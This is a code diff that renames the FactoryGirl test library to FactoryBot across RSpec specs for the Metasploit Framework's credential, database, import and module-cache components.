@ -270,8 +270,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: nil,
|
private: nil,
|
||||||
public: pub,
|
public: pub,
|
||||||
realm: r,
|
realm: r,
|
||||||
|
@ -289,8 +289,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: priv,
|
private: priv,
|
||||||
public: pub,
|
public: pub,
|
||||||
realm: nil,
|
realm: nil,
|
||||||
|
@ -308,8 +308,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: priv,
|
private: priv,
|
||||||
public: nil,
|
public: nil,
|
||||||
realm: r,
|
realm: r,
|
||||||
|
@ -327,8 +327,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: nil,
|
private: nil,
|
||||||
public: pub,
|
public: pub,
|
||||||
realm: nil,
|
realm: nil,
|
||||||
|
@ -346,8 +346,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: priv,
|
private: priv,
|
||||||
public: nil,
|
public: nil,
|
||||||
realm: nil,
|
realm: nil,
|
||||||
|
@ -358,15 +358,15 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
context 'ntlm' do
|
context 'ntlm' do
|
||||||
let(:priv) { FactoryGirl.create(:metasploit_credential_ntlm_hash) }
|
let(:priv) { FactoryBot.create(:metasploit_credential_ntlm_hash) }
|
||||||
it 'creates a core if one does not exist' do
|
it 'creates a core if one does not exist' do
|
||||||
expect {
|
expect {
|
||||||
creds.cmd_creds('add', "ntlm:#{priv.data}")
|
creds.cmd_creds('add', "ntlm:#{priv.data}")
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: priv,
|
private: priv,
|
||||||
public: nil,
|
public: nil,
|
||||||
realm: nil,
|
realm: nil,
|
||||||
|
@ -377,15 +377,15 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
context 'hash' do
|
context 'hash' do
|
||||||
let(:priv) { FactoryGirl.create(:metasploit_credential_nonreplayable_hash) }
|
let(:priv) { FactoryBot.create(:metasploit_credential_nonreplayable_hash) }
|
||||||
it 'creates a core if one does not exist' do
|
it 'creates a core if one does not exist' do
|
||||||
expect {
|
expect {
|
||||||
creds.cmd_creds('add', "hash:#{priv.data}")
|
creds.cmd_creds('add', "hash:#{priv.data}")
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: priv,
|
private: priv,
|
||||||
public: nil,
|
public: nil,
|
||||||
realm: nil,
|
realm: nil,
|
||||||
|
@ -396,7 +396,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
context 'ssh-key' do
|
context 'ssh-key' do
|
||||||
let(:priv) { FactoryGirl.create(:metasploit_credential_ssh_key) }
|
let(:priv) { FactoryBot.create(:metasploit_credential_ssh_key) }
|
||||||
before(:each) do
|
before(:each) do
|
||||||
@file = Tempfile.new('id_rsa')
|
@file = Tempfile.new('id_rsa')
|
||||||
@file.write(priv.data)
|
@file.write(priv.data)
|
||||||
|
@ -408,8 +408,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: priv,
|
private: priv,
|
||||||
public: pub,
|
public: pub,
|
||||||
realm: nil,
|
realm: nil,
|
||||||
|
@ -423,15 +423,15 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
|
||||||
context 'realm-types' do
|
context 'realm-types' do
|
||||||
Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name|
|
Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name|
|
||||||
context "#{short_name}" do
|
context "#{short_name}" do
|
||||||
let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: long_name) }
|
let(:r) { FactoryBot.create(:metasploit_credential_realm, key: long_name) }
|
||||||
it 'creates a core if one does not exist' do
|
it 'creates a core if one does not exist' do
|
||||||
expect {
|
expect {
|
||||||
creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}")
|
creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}")
|
||||||
}.to change { Metasploit::Credential::Core.count }.by 1
|
}.to change { Metasploit::Credential::Core.count }.by 1
|
||||||
end
|
end
|
||||||
it 'does not create a core if it already exists' do
|
it 'does not create a core if it already exists' do
|
||||||
FactoryGirl.create(:metasploit_credential_core,
|
FactoryBot.create(:metasploit_credential_core,
|
||||||
origin: FactoryGirl.create(:metasploit_credential_origin_import),
|
origin: FactoryBot.create(:metasploit_credential_origin_import),
|
||||||
private: nil,
|
private: nil,
|
||||||
public: nil,
|
public: nil,
|
||||||
realm: r,
|
realm: r,
|
||||||
|
|
|
@ -215,10 +215,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
|
||||||
end
|
end
|
||||||
describe "-p" do
|
describe "-p" do
|
||||||
before(:example) do
|
before(:example) do
|
||||||
host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
|
host = FactoryBot.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
|
||||||
FactoryGirl.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp')
|
FactoryBot.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp')
|
||||||
FactoryGirl.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp')
|
FactoryBot.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp')
|
||||||
FactoryGirl.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp')
|
FactoryBot.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp')
|
||||||
end
|
end
|
||||||
it "should list services that are on a given port" do
|
it "should list services that are on a given port" do
|
||||||
db.cmd_services "-S", "1024|1025"
|
db.cmd_services "-S", "1024|1025"
|
||||||
|
@ -235,10 +235,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
|
||||||
end
|
end
|
||||||
describe "-np" do
|
describe "-np" do
|
||||||
before(:example) do
|
before(:example) do
|
||||||
host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
|
host = FactoryBot.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
|
||||||
FactoryGirl.create(:mdm_service, :host => host, :port => 1024)
|
FactoryBot.create(:mdm_service, :host => host, :port => 1024)
|
||||||
FactoryGirl.create(:mdm_service, :host => host, :port => 1025)
|
FactoryBot.create(:mdm_service, :host => host, :port => 1025)
|
||||||
FactoryGirl.create(:mdm_service, :host => host, :port => 1026)
|
FactoryBot.create(:mdm_service, :host => host, :port => 1026)
|
||||||
end
|
end
|
||||||
it "should list services that are not on a given port" do
|
it "should list services that are not on a given port" do
|
||||||
skip {
|
skip {
|
||||||
|
|
|
@ -5,7 +5,7 @@ RSpec.shared_examples_for 'Metasploit::Credential::Core::ToCredential' do
|
||||||
context ".to_credential" do
|
context ".to_credential" do
|
||||||
|
|
||||||
subject(:crednetial_core) do
|
subject(:crednetial_core) do
|
||||||
FactoryGirl.create(:metasploit_credential_core)
|
FactoryBot.create(:metasploit_credential_core)
|
||||||
end
|
end
|
||||||
|
|
||||||
it { is_expected.to respond_to :to_credential }
|
it { is_expected.to respond_to :to_credential }
|
||||||
|
|
|
@ -11,15 +11,15 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
|
||||||
|
|
||||||
let(:run) do
|
let(:run) do
|
||||||
match
|
match
|
||||||
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
|
FactoryBot.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:match_set) do
|
let(:match_set) do
|
||||||
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
|
FactoryBot.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:match) do
|
let(:match) do
|
||||||
FactoryGirl.create(:automatic_exploitation_match,
|
FactoryBot.create(:automatic_exploitation_match,
|
||||||
match_set_id: match_set.id,
|
match_set_id: match_set.id,
|
||||||
matchable_id:vuln_with_match.id,
|
matchable_id:vuln_with_match.id,
|
||||||
matchable_type: "Mdm::Vuln"
|
matchable_type: "Mdm::Vuln"
|
||||||
|
@ -27,19 +27,19 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:vuln_with_match) do
|
let(:vuln_with_match) do
|
||||||
FactoryGirl.create(:mdm_vuln)
|
FactoryBot.create(:mdm_vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:host) do
|
let(:host) do
|
||||||
FactoryGirl.create(:mdm_host, workspace:workspace)
|
FactoryBot.create(:mdm_host, workspace:workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:workspace) do
|
let(:workspace) do
|
||||||
FactoryGirl.create(:mdm_workspace)
|
FactoryBot.create(:mdm_workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:refs) do
|
let(:refs) do
|
||||||
[ FactoryGirl.create(:mdm_ref) ]
|
[ FactoryBot.create(:mdm_ref) ]
|
||||||
end
|
end
|
||||||
|
|
||||||
context "with a run" do
|
context "with a run" do
|
||||||
|
@ -137,7 +137,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
|
||||||
|
|
||||||
context "without a run" do
|
context "without a run" do
|
||||||
let(:vuln) do
|
let(:vuln) do
|
||||||
FactoryGirl.create(:mdm_vuln)
|
FactoryBot.create(:mdm_vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:opts) do
|
let(:opts) do
|
||||||
|
@ -226,20 +226,20 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:session_id) do
|
let(:session_id) do
|
||||||
FactoryGirl.create(:session, host: host).id
|
FactoryBot.create(:session, host: host).id
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:run) do
|
let(:run) do
|
||||||
match
|
match
|
||||||
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
|
FactoryBot.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:match_set) do
|
let(:match_set) do
|
||||||
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
|
FactoryBot.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:match) do
|
let(:match) do
|
||||||
FactoryGirl.create(:automatic_exploitation_match,
|
FactoryBot.create(:automatic_exploitation_match,
|
||||||
match_set_id: match_set.id,
|
match_set_id: match_set.id,
|
||||||
matchable_id:vuln_with_match.id,
|
matchable_id:vuln_with_match.id,
|
||||||
matchable_type: "Mdm::Vuln"
|
matchable_type: "Mdm::Vuln"
|
||||||
|
@ -247,19 +247,19 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:vuln_with_match) do
|
let(:vuln_with_match) do
|
||||||
FactoryGirl.create(:mdm_vuln)
|
FactoryBot.create(:mdm_vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:host) do
|
let(:host) do
|
||||||
FactoryGirl.create(:mdm_host, workspace:workspace)
|
FactoryBot.create(:mdm_host, workspace:workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:workspace) do
|
let(:workspace) do
|
||||||
FactoryGirl.create(:mdm_workspace)
|
FactoryBot.create(:mdm_workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:refs) do
|
let(:refs) do
|
||||||
[ FactoryGirl.create(:mdm_ref) ]
|
[ FactoryBot.create(:mdm_ref) ]
|
||||||
end
|
end
|
||||||
|
|
||||||
context "with a run" do
|
context "with a run" do
|
||||||
|
@ -357,7 +357,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
|
||||||
|
|
||||||
context "without a run" do
|
context "without a run" do
|
||||||
let(:vuln) do
|
let(:vuln) do
|
||||||
FactoryGirl.create(:mdm_vuln)
|
FactoryBot.create(:mdm_vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:opts) do
|
let(:opts) do
|
||||||
|
|
|
@ -35,7 +35,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:host_attributes) do
|
let(:host_attributes) do
|
||||||
FactoryGirl.attributes_for(:mdm_host)
|
FactoryBot.attributes_for(:mdm_host)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:msf_web_text_element_names) do
|
let(:msf_web_text_element_names) do
|
||||||
|
@ -65,15 +65,15 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:service_attributes) do
|
let(:service_attributes) do
|
||||||
FactoryGirl.attributes_for(:web_service)
|
FactoryBot.attributes_for(:web_service)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:web_form_attributes) do
|
let(:web_form_attributes) do
|
||||||
FactoryGirl.attributes_for(:mdm_web_form, :exported)
|
FactoryBot.attributes_for(:mdm_web_form, :exported)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:web_page_attributes) do
|
let(:web_page_attributes) do
|
||||||
FactoryGirl.attributes_for(:mdm_web_page)
|
FactoryBot.attributes_for(:mdm_web_page)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:workspace) do
|
let(:workspace) do
|
||||||
|
@ -304,7 +304,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:web_vuln) do
|
let(:web_vuln) do
|
||||||
FactoryGirl.create(:mdm_web_vuln)
|
FactoryBot.create(:mdm_web_vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:example) do
|
before(:example) do
|
||||||
|
@ -345,7 +345,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
|
||||||
|
|
||||||
context 'without :workspace' do
|
context 'without :workspace' do
|
||||||
let(:workspace) do
|
let(:workspace) do
|
||||||
FactoryGirl.create(:mdm_workspace)
|
FactoryBot.create(:mdm_workspace)
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:example) do
|
before(:example) do
|
||||||
|
@ -831,7 +831,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:web_vuln_attributes) do
|
let(:web_vuln_attributes) do
|
||||||
FactoryGirl.attributes_for(:exported_web_vuln)
|
FactoryBot.attributes_for(:exported_web_vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
subject(:import_msf_web_vuln_element) do
|
subject(:import_msf_web_vuln_element) do
|
||||||
|
@ -1150,7 +1150,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:web_vuln) do
|
let(:web_vuln) do
|
||||||
FactoryGirl.create(:mdm_web_vuln)
|
FactoryBot.create(:mdm_web_vuln)
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should call #import_msf_web_vuln_element' do
|
it 'should call #import_msf_web_vuln_element' do
|
||||||
|
|
|
@ -20,7 +20,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_details) do
|
let!(:module_details) do
|
||||||
FactoryGirl.create_list(
|
FactoryBot.create_list(
|
||||||
:mdm_module_detail,
|
:mdm_module_detail,
|
||||||
module_detail_count
|
module_detail_count
|
||||||
)
|
)
|
||||||
|
@ -83,15 +83,15 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:mtype) do
|
let(:mtype) do
|
||||||
FactoryGirl.generate :mdm_module_detail_mtype
|
FactoryBot.generate :mdm_module_detail_mtype
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:refname) do
|
let(:refname) do
|
||||||
FactoryGirl.generate :mdm_module_detail_refname
|
FactoryBot.generate :mdm_module_detail_refname
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_detail) do
|
let!(:module_detail) do
|
||||||
FactoryGirl.create(
|
FactoryBot.create(
|
||||||
:mdm_module_detail
|
:mdm_module_detail
|
||||||
)
|
)
|
||||||
end
|
end
|
||||||
|
@ -106,7 +106,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_detail) do
|
let!(:module_detail) do
|
||||||
FactoryGirl.create(:mdm_module_detail)
|
FactoryBot.create(:mdm_module_detail)
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with matching Mdm::Module::Detail' do
|
context 'with matching Mdm::Module::Detail' do
|
||||||
|
@ -159,7 +159,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
|
|
||||||
before(:example) do
|
before(:example) do
|
||||||
Mdm::Module::Detail::STANCES.each do |stance|
|
Mdm::Module::Detail::STANCES.each do |stance|
|
||||||
FactoryGirl.create(:mdm_module_detail, :stance => stance)
|
FactoryBot.create(:mdm_module_detail, :stance => stance)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -203,7 +203,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_authors) do
|
let!(:module_authors) do
|
||||||
FactoryGirl.create_list(:mdm_module_author, 2)
|
FactoryBot.create_list(:mdm_module_author, 2)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:target_module_author) do
|
let(:target_module_author) do
|
||||||
|
@ -258,7 +258,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:existing_module_details) do
|
let!(:existing_module_details) do
|
||||||
FactoryGirl.create_list(:mdm_module_detail, 2)
|
FactoryBot.create_list(:mdm_module_detail, 2)
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:target_module_detail) do
|
let(:target_module_detail) do
|
||||||
|
@ -305,7 +305,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
|
|
||||||
context 'with ref keyword' do
|
context 'with ref keyword' do
|
||||||
let(:ref) do
|
let(:ref) do
|
||||||
FactoryGirl.generate :mdm_module_ref_name
|
FactoryBot.generate :mdm_module_ref_name
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:search_string) do
|
let(:search_string) do
|
||||||
|
@ -314,7 +314,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_ref) do
|
let!(:module_ref) do
|
||||||
FactoryGirl.create(:mdm_module_ref)
|
FactoryBot.create(:mdm_module_ref)
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with Mdm::Module::Ref#name' do
|
context 'with Mdm::Module::Ref#name' do
|
||||||
|
@ -344,7 +344,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
|
|
||||||
context 'with type keyword' do
|
context 'with type keyword' do
|
||||||
let(:type) do
|
let(:type) do
|
||||||
FactoryGirl.generate :mdm_module_detail_mtype
|
FactoryBot.generate :mdm_module_detail_mtype
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:search_string) do
|
let(:search_string) do
|
||||||
|
@ -356,7 +356,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:all_module_details) do
|
let!(:all_module_details) do
|
||||||
FactoryGirl.create_list(:mdm_module_detail, 2)
|
FactoryBot.create_list(:mdm_module_detail, 2)
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with Mdm::Module::Ref#name' do
|
context 'with Mdm::Module::Ref#name' do
|
||||||
|
@ -389,7 +389,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_action) do
|
let!(:module_action) do
|
||||||
FactoryGirl.create(:mdm_module_action)
|
FactoryBot.create(:mdm_module_action)
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should match Mdm::Module::Action#name' do
|
it 'should match Mdm::Module::Action#name' do
|
||||||
|
@ -411,7 +411,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_arch) do
|
let!(:module_arch) do
|
||||||
FactoryGirl.create(:mdm_module_arch)
|
FactoryBot.create(:mdm_module_arch)
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should match Mdm::Module::Arch#name' do
|
it 'should match Mdm::Module::Arch#name' do
|
||||||
|
@ -433,7 +433,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_author) do
|
let!(:module_author) do
|
||||||
FactoryGirl.create(:mdm_module_author)
|
FactoryBot.create(:mdm_module_author)
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should match Mdm::Module::Author#name' do
|
it 'should match Mdm::Module::Author#name' do
|
||||||
|
@ -455,7 +455,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:all_module_details) do
|
let!(:all_module_details) do
|
||||||
FactoryGirl.create_list(:mdm_module_detail, 3)
|
FactoryBot.create_list(:mdm_module_detail, 3)
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with #description' do
|
context 'with #description' do
|
||||||
|
@ -515,7 +515,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_platform) do
|
let!(:module_platform) do
|
||||||
FactoryGirl.create(:mdm_module_platform)
|
FactoryBot.create(:mdm_module_platform)
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should match Mdm::Module::Platform#name' do
|
it 'should match Mdm::Module::Platform#name' do
|
||||||
|
@ -537,7 +537,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_ref) do
|
let!(:module_ref) do
|
||||||
FactoryGirl.create(:mdm_module_ref)
|
FactoryBot.create(:mdm_module_ref)
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should match Mdm::Module::Ref#name' do
|
it 'should match Mdm::Module::Ref#name' do
|
||||||
|
@ -559,7 +559,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let!(:module_target) do
|
let!(:module_target) do
|
||||||
FactoryGirl.create(:mdm_module_target)
|
FactoryBot.create(:mdm_module_target)
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should match Mdm::Module::Target#name' do
|
it 'should match Mdm::Module::Target#name' do
|
||||||
|
@ -663,7 +663,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
|
|
||||||
let!(:module_detail) do
|
let!(:module_detail) do
|
||||||
# needs to reference a real module so that it can be loaded
|
# needs to reference a real module so that it can be loaded
|
||||||
FactoryGirl.create(
|
FactoryBot.create(
|
||||||
:mdm_module_detail,
|
:mdm_module_detail,
|
||||||
:file => module_pathname.to_path,
|
:file => module_pathname.to_path,
|
||||||
:mtime => modification_time,
|
:mtime => modification_time,
|
||||||
|
@ -836,15 +836,15 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:privileged) do
|
let(:privileged) do
|
||||||
FactoryGirl.generate :mdm_module_detail_privileged
|
FactoryBot.generate :mdm_module_detail_privileged
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:rank) do
|
let(:rank) do
|
||||||
FactoryGirl.generate :mdm_module_detail_rank
|
FactoryBot.generate :mdm_module_detail_rank
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:stance) do
|
let(:stance) do
|
||||||
FactoryGirl.generate :mdm_module_detail_stance
|
FactoryBot.generate :mdm_module_detail_stance
|
||||||
end
|
end
|
||||||
|
|
||||||
before(:example) do
|
before(:example) do
|
||||||
|
@ -885,7 +885,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
|
|
||||||
context 'with :action' do
|
context 'with :action' do
|
||||||
let(:name) do
|
let(:name) do
|
||||||
FactoryGirl.generate :mdm_module_action_name
|
FactoryBot.generate :mdm_module_action_name
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:bits) do
|
let(:bits) do
|
||||||
|
@ -922,7 +922,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
|
|
||||||
context 'with :arch' do
|
context 'with :arch' do
|
||||||
let(:name) do
|
let(:name) do
|
||||||
FactoryGirl.generate :mdm_module_arch_name
|
FactoryBot.generate :mdm_module_arch_name
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:bits) do
|
let(:bits) do
|
||||||
|
@ -959,11 +959,11 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
|
||||||
|
|
||||||
context 'with :author' do
|
context 'with :author' do
|
||||||
let(:email) do
|
let(:email) do
|
||||||
FactoryGirl.generate :mdm_module_author_email
|
FactoryBot.generate :mdm_module_author_email
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:name) do
|
let(:name) do
|
||||||
FactoryGirl.generate :mdm_module_author_name
|
FactoryBot.generate :mdm_module_author_name
|
||||||
end
|
end
|
||||||
|
|
||||||
let(:bits) do
|
let(:bits) do
|
||||||
|
